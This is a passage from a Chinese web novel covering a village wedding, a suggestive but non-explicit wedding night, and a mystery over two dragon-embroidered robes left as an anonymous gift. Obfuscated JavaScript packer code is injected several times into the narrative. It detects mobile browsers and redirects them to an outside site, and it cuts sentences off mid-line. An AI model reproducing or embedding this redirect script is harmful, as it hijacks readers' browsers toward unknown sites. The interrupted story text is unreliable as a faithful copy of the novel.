“我?”项三娘困惑地摇了摇头,“我不知道,可能是我爹娘不要我了,他们一直不喜欢我。” “为什么不喜欢你?”袁竹又问道。 项三娘痛苦地皱起了眉头,“不喜欢就是不喜欢,没有为什么。” 袁竹的眼中多了几分悲悯,“离开那样的家也是一桩喜事,以后这里就是你和你女儿的家了。” 项三娘看着袁竹,开心地点了点头。 袁萱草从屋里走出来,“你们在说什么呢?” 项三娘回过头,笑着说道:“袁老板要成亲了,我想给她做一双喜鞋,她答应了。” “娘可会做鞋了,袁竹要是能穿着娘做的鞋出嫁,肯定也会开心的。”袁萱草说道。 “袁老板才不是出嫁,是招赘婿,比你可强多了。”项三娘像是炫耀般说道。 “自己有本事招赘的女人能有多少?你不也是嫁出去了?你当初要是给我找个赘婿,我不就不用到别人家去了?”袁萱草反驳道。 “你这丫头!尽跟我顶嘴,我不跟你说了,我跟袁老板说去。”项三娘做出生气的样子,拉着袁竹进了堂屋。 “阿姨认不出袁姐姐来了,关系反倒好了许多。”阮荷在袁萱草身后说道。 项三娘回过头来,冲阮荷笑了笑,“我娘一直都是这样,男孩是自己家的好,女孩是别人家的好,她不记得袁竹是她女儿,看起来估计也顺眼多了。” 阮荷也笑了,“我家也是一样。” 袁萱草弯着嘴角,眼神却有些迷茫,“以前我总让着她,她说什么就是什么,现在我一听她说这些,火气就大,忍不住要跟她顶嘴,娘都这么大岁数了,我应该让着她才是。” “也许就是因为以前忍让得多了,才会让你一听见就心情不好,你让着她,谁让着你呢?不舒服就说出来,憋着会憋坏的。”阮荷说道。 你让着她,谁让着你呢?听到这句话,袁萱草突然觉得豁然开朗,对啊,凭什么就该自己忍让?凭什么只有自己受委屈? 袁萱草释然地笑了,“你说得对,以后我不会再憋着了。” “袁姐姐,东西我给你准备好了,你要不要亲自试试?”阮晨烟在房间里招呼道。 “好,我试试。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995704|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”袁萱草笑着走进了房门,阮荷也跟着走了进去。 袁萱草和项三娘就此在袁家住了下来,辛开元虽然有些担心,但看着袁竹和项三娘相处融洽,项三娘眼中也没有了仇恨,也没有提出反对。 辛开元还说可以让袁萱草和项三娘住到袁竹给他安排的房间里,他觉得那边院子里也都是女人,自己住进去实在不方便,他坚持要继续住在学堂附近的房子里。 见辛开元坚持不肯搬过来,袁竹也就由着他了,反正用做洞房的是她的房间,辛开元住在哪里都差不多,他喜欢原先的房子,就还在那里住吧。 成亲的酒席,袁竹没计划请太多外人,和姜佑安商量了之后,让她写了请帖去给龙世蓉和许家莺送去,再顺便去一趟陈大用那里,告诉他这桩喜事。 陈大用听说袁竹要成亲了,还是招赘,很为袁竹高兴,说起了年轻的时候也打算给自己女儿招赘的事,只可惜后来没成,袁竹成亲,他一定带着孙子一块去沾沾喜气。 从县里回来,姜佑安去了徐燕那里,告诉她这个月二十二,会接她去袁家喝喜酒,徐燕说这样的喜事,她一定去,还装了一布袋五谷杂粮让姜佑安带回去成亲时用。 回到袁家,姜佑安正遇上张慈和李初五上门,张慈抱着一床红色的被子,李初五抱着两个红色的枕头,拿到了袁竹的房间里去给袁竹。 “这是我和初五一起做的喜被,希望你和辛老师能和和美美一辈子。”张慈把被子放在床上,喜气洋洋地说道。 李初五把枕头也放在了床上,向袁竹说着吉祥话,“祝新人百年好合。” 姜佑安把布袋子放在堂屋,跟着进了袁竹的卧房,扬声说道:“我们这里做的被子多,袁竹还特意告诉她们不用做喜被了,这倒好,你们又做上了。” “对啊,你们到时候来吃个饭,热闹热闹就行了,还忙活这些做什么。”袁竹说道。 “咱们都互相熟悉,我也不跟你们瞎说,这喜被本来是做了准备送给姜院长的,我当时听说她搬到戴老师那里去了,以为很快就能用的着,没想到倒是袁老板先成亲了。”张慈看向姜佑安,“姜院长,你等着,等你成亲了,我也送一套一样的给你。” 姜佑安笑了笑,“那你可得抓紧了,我和戴老师的日子就定在明年春天了,怕是要用不上你的喜被了。” “呀,那真是得抓紧了,我明天就去县里扯布买棉花去。”张慈感叹道。 “别了,我就是开个玩笑,你和初五做一床喜被,这心意我们俩都领了。”姜佑安赶忙说道。 “就是,有一床就够了,大不了,在我这里摆摆,再拿到她那里去,这里不缺被子,你就别费这个功夫了。”袁竹也劝道。 “不费什么的,你们两个人成亲怎么能用同一床喜被?传出去多寒酸啊,喜事就得办的热热闹闹、风风光光的,到时候我肯定送姜院长一套新的。”张慈说道。 “我也一起做。”李初五凑到姜佑安身前,兴奋地说道。 姜佑安摸了摸李初五的脑袋,笑着说道:“你们的心意,我领了,买布和棉花的钱就留着给初五买肉吃吧,让初五以后长得高高的,壮壮的,拉弓的劲头足足的。” 162. 洞房 “对啊,张姐你就别为了我们破费了,把钱留着自己用吧。”袁竹说道。 “你们这话说得也太见外了,我住着你的房子,你说用粮食做租金,我一年到头粮食也没给多少,成亲这么大的事,我做一床被子算什么,姜院长,你千万别跟我客气,要不我心里也过意不去。”张慈说道。 “你也别跟我们见外,我知道你们两个生活艰难,只靠地里的粮食和做绢花过活,能攒下钱来不容易,你就自己留着吧。”袁竹说道。 张慈笑了笑,“我还好,农活有村里人帮忙,打的粮食够我们娘俩吃了,做绢花的钱能攒我就攒点,该花也得花。” “我听说李贵又取了个老婆。”姜佑安说道。 “他甩手掌柜当惯了,肯定想找个人照顾他那一家人,更别说还有一个哇哇叫的小孩子,娶亲是早晚的事,这两年,他们家人也没怎么来看过初五,我打算让初五改姓,以后她就叫张初五了。”张慈说道。 “跟李家彻底断绝关系也好,省得他们以后打初五的注意。”袁竹说道。 “想用我女儿给他抱来的孩子换媳妇,他想都别想!我受过的委屈,不能让我女儿再受一遍,我要像妹妹你一样,多攒些钱,以后给初五招赘,让她在自己家过一辈子。”张慈说道。 “只要那男人愿意过来和初五一起生活,夫妻俩能养活自己一家人就行,不用攒多少钱,张姐,你也别为了这个,把自己弄得太辛苦。”袁竹劝道。 “你放心,我不会那么想,我们只是个平头老百姓,也不是什么大富大贵的命,就是攒一辈子的绢花钱,又能攒下来多少?我就是想让初五以后过得稍微舒坦点儿。”张慈笑着说道。 “初五和这边的孩子都熟,以后她们都能互帮互助,互相扶持,你也不用太操心。”姜佑安说道。 张慈热情地拉着姜佑安的胳膊:“对啊,就是这个理儿,咱们大家伙就像是一家人一样,家人办喜事,我不出一份力怎么能行?姜院长,我先回去准备着,到时候你可千万要收下。” “好好好,张姐盛情难却,我收着就是了,万一我用不上,以后还能留着给初五用。”姜佑安笑着点了一下初五的额头,初五害羞地躲到了张慈的身后。 “初五还小,等以后我再给她做。”张慈牵起了初五的手,“你们忙,我们先回去了,有需要帮忙的,你们就去找我,千万别客气。” 送走了张慈和初五,石倩和陆欢找过来商量酒席的事,这两人走了吧,徐洪愿又过来商量雇鼓乐手的事,院子里还不断有村民和学生家长来打听哪天开始待客,说到时候要过来帮忙,到处都是喧闹又忙碌。 十一月末正是天冷的时候,袁家的人都喜气洋洋的,一点儿也不觉得冷,这边院子里要待客,水仙花就挪到新院子里养了,袁萱草又要做绢花,又要养水仙,还揽了给那边院子里的孩子们做饭的活,一个人拿三份钱,每天干起活来,都格外有劲。 除了拿到工钱让人高兴,妹妹要成亲也是一件大喜事,婚期临近,袁萱草每天都高兴地合不拢嘴,忙完了这边的活,又去那边帮忙,项三娘也跟着跑前跑后,一点儿也不觉得累。 婚房已经布置妥帖,杨恩送来的两对大红灯笼挂在了大门口和屋檐下,李长风做的小红灯笼挂在了洞房里。 洞房的床上换上了红色的床幔,床里面挂着的,是箫悦笙她们做的香囊,桌子上都铺了红布,桌上摆着几对许家莺送来的大红花烛,花瓶里插着孩子们做的各色绢花,桌下是龙世蓉派人送来的红色地毯。 除此之外,房内还摆放着辛开元父母送来的鸳鸯木雕、镜子、剪刀尺子还有各种布匹,床上放着喜被,旁边的桌子上摆放着桂圆红枣等各色干果,整个房间看起来喜气又殷实。 终于到了成亲的日子,姜佑安歇在了耳房,一早起来,就敲开了袁竹房间的门,说要给她梳头。 袁竹已经换上了喜服,坐在了梳妆台前,听到姜佑安的提议,笑话她能梳好自己的头发就不错了,来这里添什么乱。 姜佑安硬是从阮荷手里抢过了梳子,给袁竹梳了头,但在梳发髻的时候犯了难,还是又交给了钟二娘。 钟二娘利落地给袁竹盘好了发髻,带上了华丽的花冠,门外已经有装扮一新的马车在等着了。 袁竹出了门坐上了马车,前面有锣鼓手、唢呐手开道,姜佑安和箫悦笙骑着马跟在后面,再后面是袁竹马车,马车周围跟着的都是去接亲的人,手里拿着聘礼和喜糖,队伍走得很慢,后面还跟着许多凑热闹的孩子,嘻嘻哈哈地玩闹。 到了辛家,袁竹去把辛开元给迎了回来,还邀请辛开元的爹娘一块到袁家去,袁家已经收拾好了房间,让他们过去住一晚再回来。 回程时,辛家父母坐在了马车里,姜佑安和袁竹同乘一匹马,辛开元自己骑一匹,箫悦笙则跟着接亲的队伍和辛家的亲友一起从县里走着回到袁家。 接亲的队伍回到袁家门口时,已经有一大群人在等着了,钟二娘从人群中走出来,作为喜娘主持了整个婚礼,直到将新人送入洞房。 仪式完成之后,院子里正式开席,袁竹和辛开元一起出了洞房招呼客人,所到之处,激起一阵阵此起彼伏的祝贺声。 袁家住着的都是女人,大家都觉得男人过来喝喜酒不太方便,多让自己家的女眷带着孩子或者老人登门送礼,戴庭芳和徐洪愿在门口迎宾,门房处是邵苏木和霍静做账房管事,记了名姓和礼金,就有人将客人领到院内入坐。 龙世蓉和许家莺进了院子,落了座,见客人们都在高高兴兴吃席,袁家人都在忙来忙去,只有姜佑安坐在席上悠闲地吃东西。 龙世蓉拉起许家莺,去了姜佑安的身边,文珠也跟了过去。 “今天真是热闹啊。”龙世蓉说道。 姜佑安抬起头,见是她们俩,马上喜笑颜开,热情地招呼她们,“我还以为你们忙,今天就不来了呢,来,文珠也过来坐。” “袁老板成亲这么大的事,我们就是再忙,也得抽空过来。”许家莺笑着说道。 姜佑安看向龙世蓉,“没想到我们会在你家院子里办婚事吧。” 龙世蓉笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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热闹了一下午,黄昏之际,客人陆陆续续地离开了,新开元的父母被带去了辛开元的住处,大家休息的休息,打扫的打扫,袁家逐渐沉寂下来。 袁竹和辛开元回到洞房里,红色的花烛和灯笼都已经点了起来,床边不远处还点了两个炭盆,房间里温暖又明亮。 辛开元关上房门,拥着袁竹在床边坐下,“娘子今天辛苦了。” 袁竹依偎在辛开元怀里,笑着说道:“相公也辛苦了。” “娘子。”辛开元低头看着袁竹的脸,“你今天是不是喝多了?” 袁竹抬起头,脸上依旧是开心的笑,“今天开心,多喝了点儿,不过多亏小阮机灵,后面都给我换成白水了,也没喝多少。” 辛开元也笑了起来,“娘子和我成亲,很开心吗?” “我本来以为没什么,但是,去把你迎回来,再送到我的房间里,和你成为夫妻,我真的觉得很开心。”袁竹认真地说道。 “我也很开心。”辛开元低头,亲吻着袁竹的额头,“娘子,我为你宽衣解带,咱们早些安歇可好?” 袁竹咯咯笑着,“你怎么说那戏文里的话?” “你看的什么戏?”辛开元把袁竹压倒在床上,伸手去解她的衣裳,“戏里也做这样的事?” 163. 贺礼 袁竹避而不答,笑着说道:“鞋还没脱呢。” 辛开元闻言,起身把两人的鞋袜都脱去了,待要去脱衣服,又怕会冻着她,掀起喜被,让袁竹钻了进去。 被子里放了汤婆子,暖和得很,袁竹伸出胳膊来,把辛开元也拽了进去。 “暖和吧。”袁竹笑着问道。 “暖和。”辛开元抱着袁竹,从被子里探出头来,见外面天色已经黑下来,床边的红烛光焰摇晃,映在袁竹的脸上。 “娘子。”辛开元动情地呼唤着。 袁竹翻身把辛开元压在身下,一边亲吻他的嘴唇,一边解开了他的衣裳,双手在他的身上肆意游走。 袁竹的主动让辛开元十分欣喜,他揽着袁竹的脖子,热烈地回应着她的吻。 两人的身体逐渐热了起来,呼吸急促地抚摸着对方。 “开元…”袁竹放开了辛开元的嘴唇,咽了下口水,“我…想要…” “想要什么…”辛开元坏心眼地问道。 “按摩,像你之前做过的那样。”袁竹从辛开元身上下来,拉着辛开元的手催促道:“快点儿。” 辛开元笑了笑,钻进了被子里,尽心尽力地为袁竹按摩。 醉酒的袁竹格外坦率,直白地诉说着内心的感受,辛开元倍受鼓舞,亲吻和揉捏的感触叠加,让袁竹舒服得直哼哼。 “娘子…”辛开元给袁竹按了摩之后,亲昵地抱着袁竹,温柔地询问道:“感觉还好吗?” “好…”袁竹的回答像是一个满足的叹息,她的手贴在辛开元的胸口,感受着辛开元剧烈的心跳,“你的心跳得真快。” 辛开元笑了,“这样抱着娘子,我不可能不激动。” “激动?”袁竹搂着辛开元的腰,凑到他的耳边,轻声问道:“相公,你还想做什么?” 辛开元揽着袁竹的胳膊微微用力,他低头亲吻着袁竹的脖子,鼻息逐渐加重,“我想,吃掉娘子。” 袁竹仰着头哈哈笑着,“你要吃人肉?” 辛开元把袁竹紧紧抱在怀里,眼睛里闪着异样的光,“笑得这么大声,不怕人听见了?” “我们是夫妻,怕什么?”袁竹仰头看着辛开元,一副理所当然得样子。 “娘子喝多了。”辛开元翻身把袁竹压在身下,轻轻磨蹭着她的大腿,“我怕你明天会后悔。” “你就这样别动,轮到我来给你按摩了。”袁竹说道。 辛开元的胳膊撑着身子,在两人的身体之间流出缝隙,袁竹双手按在她的胸膛上揉捏,然后一路向下按摩着。 袁竹躺在床上,饶有兴致地看着辛开元的脸,烛光照过来,他的脸色绯红,额头上有汗珠在闪着光,他的嘴唇微张,喉咙里发出动人的喘息声。 房间里很安静,辛开元的喘息声和吞咽口水时发出的声音回响在袁竹的耳边,她的目光移到了辛开元的脖子上,看着他的喉结随着他的吞咽而上下滚动。 袁竹入神的看着辛开元的身体,手上的动作都不自觉地停了下来,辛开元耸了耸身子,轻声呼唤着,“娘子…继续按…” 袁竹回过神来,觉得自己口干舌燥,她舔了舔嘴唇,继续给辛开元按摩。 辛开元看到了她舔嘴唇的动作,马上低下头,吻在了她的唇上,袁竹张开嘴,如如饥似渴地吞噬着辛开元的唇舌。 一阵甜蜜的亲吻过后,辛开元倒在了袁竹的身上,发出剧烈的喘息。 袁竹抱住了辛开元,感觉得到了极大的满足,“开元…” 辛开元从袁竹身上爬下来,翻倒在一旁,手搭在袁竹身上,微笑着看着她,“娘子累了吧。” 袁竹丝毫不觉得困倦,双手在辛开元的腰上按捏,“我不累。” 辛开元摁住了袁竹的手,“你今天真的喝多了,早些睡吧。” “我还不想睡。”袁竹凑过去,亲吻着辛开元的胸口,“让我再帮你按按吧。” 辛开元的身子微微颤抖着,声音也低沉了几分,“娘子,要不还是……” 袁竹抬起头看着辛开元,眨了眨眼睛,“开元,你不想我给你按?” “想,我当然想!”辛开元毫不犹豫地答道,“不过……” “不过什么?”袁竹问道。 “没什么。”辛开元笑了笑,“今天是我与娘子新婚之夜,娘子想做什么就做什么,我都奉陪。” “真的?”袁竹收回手,爬过去,跨坐在辛开元的腰上,“那我要坐在你身上给你按。” 辛开元用被子小心给把袁竹包裹好,“随你,只要别冻着就好。” 袁竹也用被子把辛开元罩上,“你也别冻着了。” 辛开元抬手抚摸着袁竹的胳膊,“有娘子温暖我的身体,我不冷。” 袁竹的脸瞬间变得通红,也不说话了,只默默给辛开元按摩着身体。 “娘子的脸红红的,真可爱。”辛开元笑着说道。 “闭嘴!”袁竹手上的力度加重了几分,红着脸训斥道:“别说这些有的没的。” “嗯…”辛开元的身体抖了一下,“我说的…是实话…娘子就是很可爱…” “你还说!”袁竹略微使劲地捏了辛开元一下。 “啊…嗯…”辛开元皱起了眉头,“轻点儿,娘子…我…” 袁竹停了手,“你什么?” 辛开元笑了笑,“我娘子就是天底下最可爱的!” 看着辛开元洋溢着幸福的笑脸,袁竹心跳的厉害,俯身堵上了他的嘴,“让你乱说…” 辛开元抱住袁竹,翻身把她压在身下,狠狠地吻了一通,“娘子嘴硬…也可爱…” 袁竹没再说什么,搂着辛开元亲吻,双腿攀上了他的腰。 辛开元放开了袁竹的嘴唇,有些不敢置信地看着她,“娘子?” 袁竹腿上微微用力,进一步缩短了两个人之间的距离,红着脸轻声说道:“叫我袁竹。” “你醉了吧。”辛开元撑着身子不敢动弹,看向袁竹的眼神中充满了爱意和怜惜,“袁竹,真的可以吗?” “我很清醒。”袁竹正视着辛开元的眼睛,脸上露出了微笑,“我今天很开心,说不定可以,你愿意陪我试试吗?” 辛开元也笑了,笑容中带着一丝青涩,“我当然愿意,不过,我没有经验,要是做得不好,你一定要告诉我,要不,我就再去找戴老师请教一下。” “不用。”袁竹抓着辛开元的手,一步一步引导着他,“我已经向姜佑安请教过了,你只要按我说的做就好。” 辛开元感觉自己的胸中像着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这里有两件衣裳。”姜佑安把手伸出去,戴庭芳接过了她手中的笔,放在桌上,姜佑安解开凳子上的包袱,里面放着两件锦衣,她拿起上面一件,抖落开来,“料子是上好的锦缎,做工也不错。” 袁竹走过去,手上摸着那袍子,惊讶地问道:“这么贵重的东西,谁送的?” “问题就出在这里,邵老师和霍静都说没见过这东西,礼单上也没有。”姜佑安说道。 “难道是谁来送贺礼的时候拿错了东西?”辛开元说道。 “贺礼都放在门房,我已经查看了两遍,其他东西都没错,唯独多了这两件衣服。”姜佑安说道。 “昨天客人多,可能乱哄哄的,邵老师也没注意,要不就是谁把贺礼留下了,忘了留下礼单,要不就是礼单记漏了。”戴庭芳说出了自己的猜测。 姜佑安点了点头,“有这个可能。” “昨天来的客人里,除了龙世蓉和许家莺,还有谁能拿得出这样的礼物?”袁竹说道。 “说得也是,恐怕是龙世蓉的,我明天去骑马的时候,过去问问。”姜佑安说道。 “我看就是龙世蓉的,之前我被抓的时候,就已经欠了她很大一个人情了,这么贵重的礼,咱们可不能收,你明天直接给她送回去吧。”袁竹说道。 “明天你还要去骑马?天这么冷,就别去了吧,小心着了风寒。”戴庭芳担心地说道。 164. 锦衣 “箫悦笙对骑射着迷得很,天天都要去,我去陪陪她,还能有个伴。”姜佑安笑着安慰戴庭芳,“你放心,我穿得厚,不会着凉的。” “你明天要是过去,正好把欠她的钱还给她,收的礼金够不够?”袁竹问道。 姜佑安把衣服叠了叠,放进了包袱里,“够了,等会儿我分出来,给你记上账。” “昨天借给我们马给我们迎亲的事,你也替我们谢谢她吧。”辛开元说道。 “这还用等到明天?昨天她来的时候我就谢过了。”姜佑安笑着说道。 袁竹笑了笑,“这些天真是辛苦你跑前跑后了。” “不辛苦,只要你开心,袁家的人都陪着你热闹热闹,也挺好。”姜佑安把包袱放在一旁,把要还给龙世蓉的钱记了账。“辛老师也识字,以后这些账本,都让辛老师给你念,我可就轻松多了。” “你这话说的,好像我给你安排了多少活似的。”袁竹说道。 “不管多少,反正你就找你相公就是了。”姜佑安把包袱和一个钱袋子放在了一起,“这些先放你那里,我明天早上过来取。” 姜佑安收拾好了东西,拉着戴庭芳就往走。 “这就走了?晚饭还回来吃吗?”袁竹问道。 “晚饭我们自己解决,两天杨恩在这里也累坏了,我们就不去麻烦他了。”姜佑安说道。 “你也叫他过来一起吃,不就好了。”袁竹说道。 “那怎么好意思?你们小两口甜甜蜜蜜的,我们总是过来打扰多不好,你们继续甜蜜,我们先走了。”姜佑安说着,走出了堂屋门,戴庭芳点了点头,跟着走了出去。 袁竹笑着摇了摇头,“这家伙,总是这么风风火火的。” 辛开元走过来,把袁竹抱在怀里,低声说道:“姜院长说得对,咱们是新婚燕尔,应该继续甜蜜,娘子,咱们回屋吧。” 袁竹红了脸,和辛开元一起进了屋,关上了房门。 姜佑安出了袁家的大门,和戴庭芳并肩向东走去。 “总算是办完了这件大事。”姜佑安感叹道。 “是啊。”戴庭芳牵起了姜佑安的手,“看他们二人相处融洽,你可以放心了吧。” 姜佑安转过头来,看着戴庭芳笑了笑,“袁竹勇敢又坚韧,我就知道她一定能克服心里的难关,辛老师也得偿所愿,真是再好不过了。” “我们要是也能尽快成婚就好了。”戴庭芳说道。 “大冬天的成亲,多冷了,我还是喜欢春天,等暖和些的吧。”姜佑安握着戴庭芳的手,感受着他的温度,“我们不用请那么多客人,自己人热闹热闹就得了。” “等定好了日子,我就去告诉我娘,她肯定愿意来的。”戴庭芳说道。 姜佑安笑了笑,“希望我能和令堂和睦相处。” “我娘为人随和,肯定不会为难你的。”戴庭芳说道。 “那就好。”一阵寒风吹过,姜佑安打了个寒颤,“风真冷,咱们快回去吧。” 两人牵着手,进了院门,回到了戴庭芳的房屋前,进了院子,打开了屋门。 “把门关上挡挡风,我去把火盆点起来。”姜佑安说道。 戴庭芳闩上屋门,从背后把姜佑安抱在了怀里。 “我要去点火盆,你抱着我干什么?你不冷吗?”姜佑安奇怪地问道。 “这么冷的天,就不要去马场了吧。”戴庭芳闷闷地说道。 “我只是去陪着箫悦笙而已,要是太冷了,我们就去室内休息,不会勉强的。”姜佑安解释道。 戴庭芳的脑袋埋在姜佑安的肩膀上,“龙世蓉的相公,长得很好看吗?” “嗯?你怎么想起来问这个?”姜佑安反问道。 “我听你夸过他的长相,你天天过去,不是为了看美男吗?”戴庭芳委屈地说道。 “什么?”姜佑安笑了起来,向后伸手,抚摸着戴庭芳的脸,“别胡思乱想了,我和箫悦笙真的是去练骑射的。” 戴庭芳用脸蹭着姜佑安的手,“你们为什么要坚持练骑射?” “她有她的目的,我嘛,今年的射柳比赛没有办,听说明年的奖金会变成双倍,我想去赢点儿钱回来。”姜佑安说道。 “冬天还去训练,太辛苦了吧,不如等过了年,暖和些了再去。”戴庭芳心疼地说道。 姜佑安转过身来,轻轻揽着戴庭芳的腰,“骑马射箭对我来说,都是有意思的事,要是觉得辛苦,我就不去了。” “我要是能陪你一起去就好了。”戴庭芳说道。 姜佑安凑过去,亲了一下戴庭芳的脸,“你是我书院重要的老师,你的手是用来读书写字的,马场里纷乱,要是不小心伤到你,我可是会心疼死的,你还是在家等着我回来吧。” “嗯。”戴庭芳不太情愿地点了点头。 “龙世蓉的相公不爱见人,在马场里有单独的射箭场地,我们这些外面是见不着的,而且,马场里的佣人都很粗俗,我跟箫悦笙也不大跟他们说话,你担心的那种情况,是不可能发生的。”姜佑安说道。 戴庭芳抬起头来,嘴边有了些笑意,“那就好。” 姜佑安笑了笑,“在我眼里,我家相公就是天下一俊美的男人,有相公在,我怎么还会去看别的男人呢?” “还没成亲,你不要总是叫我相公。”戴庭芳有些害羞地说道。 “好,戴老师,咱们去点火盆吧。”姜佑安暧昧地笑着,“还是说,你想用别的方式取暖?” “我这就去点火盆。”戴庭芳放开姜佑安,拿柴火去了。 第二天一早吃过饭,姜佑安就带上包袱和箫悦笙一起上路了,进了县城,她让箫悦笙自己去马场,她先去一趟龙世蓉家。 龙世蓉对姜佑安的到来感到很意外,叫文珠把她领到自己的房间来。 “今天不去骑马了?”龙世蓉问道。 “待会儿再去。”姜佑安把包袱放在桌上,打开了包袱皮,把钱袋子拿了出来,“这是欠你的钱,袁竹让我拿来还你。” “这么这么客气,还专门来还钱。”龙世蓉在桌边的椅子上坐了,也让姜佑安坐下,“文珠,上茶。” “不用了,我一会儿就走。”姜佑安也不坐,把包袱推到了龙世蓉面前,“钱是袁竹要还的,我就是跑个腿,你看看这衣服是你的吧。” 龙世蓉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“不可能吧,我们袁家收留的都是没家的女人和孩子,怎么可能和皇室有关系?”姜佑安说道。 “袁家人多,说不定哪个孩子会跟皇室扯上关系。”龙世蓉说道。 姜佑安很困惑,“就算有孩子跟皇室有关系,他送两件衣服又是干什么?给孩子穿的?” 龙世蓉把另一件衣服展开,内衬上果然也有一条龙,“可能这个人知道了什么内情,但是还没有证据,所以送来了这种东西,试探你们。” “试探?怎么试探?”姜佑安问道。 龙世蓉摇了摇头,“这我也不清楚。” 姜佑安坐在了椅子上,感觉一头雾水,“这真的不是给袁竹结婚的贺礼吗?” “送这么贵重的东西,不可能一声不吭地把东西留下就走,怎么也会知会主家一声,你们都不知道这东西是哪里来的,你不觉得很可疑吗?”龙世蓉说道。 文珠在一旁,提出了自己的猜想,“或许这两件衣服是旧物,有人专门送来,给它原本的主人穿。” 姜佑安闻言看了看桌上的衣服,她不记得自己有没有这样的旧衣,她也从没注意过衣服的内衬,要真是自己的,谁会千里迢迢把两件旧衣服送到这里来呢? 165. 猜测 看姜佑安沉默不语,龙世蓉觉得文珠的猜测很可能是对的,“既然是悄悄送来的,可能送礼的人也不想说出那人的真实身份,也许问题不大。” 也许问题不大,也许问题很大,对方到底是什么目的?为什么要送衣服过来? 姜佑安感觉有一双眼睛在暗中盯着自己的一举一动,让她毛骨悚然。 “不管对方有什么目的,这绣着龙纹的衣服,留着总是僭越之嫌,我看还是让人把这图案拆了吧。”龙世蓉提议道。 “好,这衣服是留下还是赏人,都随你了。”姜佑安站起身来,“我还要去马场,就不多做打扰了。” 送走了姜佑安,龙世蓉让文珠赶紧把衣服上绣的龙纹拆掉,文珠去拿了剪刀,即刻动手去拆。 龙世蓉在房间里来回踱步,又突然站定看着文珠,“文珠,姜院长的真实身份,你没跟别人说过吧。” 文珠抬起头来,“没有,除了你,我没跟任何人说过。” “我也从没跟第二个人提起过,到底是谁捕捉到了风声,还把这种衣服送到袁家去?”龙世蓉满心疑惑。 文珠默默思忖了片刻,“也许,还有别的人从京城来到了这里,发现了姜院长,姜院长为了练习骑射,每日往返袁家和马场,路上见到她的人很多,说不定那人也认出了姜院长,只是一时还不敢确定。” 龙世蓉拿起另一件衣服,在自己身上比量了一下,“袁竹比姜院长要矮上许多,这衣长和姜院长的身量差不多,肯定是给姜院长的,那人在袁竹的婚礼上趁乱送过去,可能是因为姜院长认识那人,才不敢贸然出现。” “有可能。”文珠点头应道。 “可是,姜院长并没有认出这是她自己的旧物。”龙世蓉又产生了新的疑问。 “姜院长原本身份尊贵,衣物多不胜数,她不记得了,也是正常的。”文珠说道。 “说的也是。”龙世蓉把衣服重新放回桌上,“如果那人送东西是为了确认身份,应该很快就会现身吧。” “能拿到姜院长的旧衣,应该是很亲近的人,说不定只是想跟姜院长相认。”文珠说道。 龙世蓉叹了口气,在椅子上坐了,“只是相认倒还好,只是,不知道那人究竟是什么目的,真是让人不安。” 文珠没说什么,站在桌边,低下头继续拆着内衬上的图案。 “你坐下拆吧。”龙世蓉说道:“这两件衣服,你小心收好,不要让别人看见了。” “嗯。”文珠应了一声,拿着衣服和剪刀,坐在了椅子上。 姜佑安去马场骑马的时候,一直心神不宁的样子,箫悦笙担心她这个样子会出事,早早就归还了马匹,和姜佑安一起出了县城。 路上箫悦笙问起是不是出了什么事,姜佑安只摇了摇头,什么都没说。 回到袁家,袁竹把她迎进了房间里,“你今天回来得倒是早。” 姜佑安没有回答,自顾自倒了一杯茶喝,茶水是温热的,让她有些僵硬的身体逐渐熨帖。 见姜佑安急匆匆喝了一杯茶水,又坐下来板着一张脸不说话,袁竹觉得很奇怪。 “佑安,你怎么了?”袁竹轻声问道。 姜佑安回过神来,眨了眨眼睛,有些茫然地看着袁竹,“没什么,你刚才说什么了吗?” “没有,我正要告诉你,今天县衙来人,说快过年了,知县想要在大年初一去参加城隍庙祭祀,让我们这些商户捐些钱,倒时候请些歌舞戏班来,让大家一块热闹热闹。”袁竹说道。 “你给他们钱了?”姜佑安问道。 “给了,不过我说我们家在修园子,手上没有闲钱,只捐了五两银子。”袁竹说道。 “他们收了?”姜佑安问道。 袁竹笑了笑,“他们嫌少,不过也收了,还说大年初一让你也一起去,在祭祀上露露脸,还让我们穿得鲜亮点儿,别给知县大人丢脸。” 说到鲜亮的衣服,姜佑安又想到了那两件锦衣,到底是谁送来的?目的又是什么? 是威胁?不想暴露身份的话,就给钱? 或者是暗号?对方已经知道了自己的身份,但是会帮忙保守秘密? 还是一种提醒?提醒自己身份已经暴露,不想被抓的话,就尽快离开此地? “佑安。”袁竹轻轻拍了拍姜佑安的胳膊,“你今天是怎么了?怎么像丢了魂一样?出什么事了吗?” 姜佑安转头看着袁竹,嘴唇动了几动,才发出声响,“袁竹,如果我走了,女子书院请你帮忙继续开下去,有不明白的事,你就和邵老师商量。” “你为什么要走?要去哪儿?”袁竹皱着眉头问道。 姜佑安垂下眼帘,喃喃地说道:“我还不知道,也许我早晚得走,我不是这里的人,我不属于这里。” “你说什么呢?你当然属于这里,你是我们袁家人。”袁竹抓住了姜佑安的胳膊,着急地问道:“是不是你的家人找来了?” 姜佑安抿着嘴,强忍着眼泪,点了点头。 “以后你不要出门了,就在袁家待着,我们这里这么多人,不会让你被带走的。”袁竹说道。 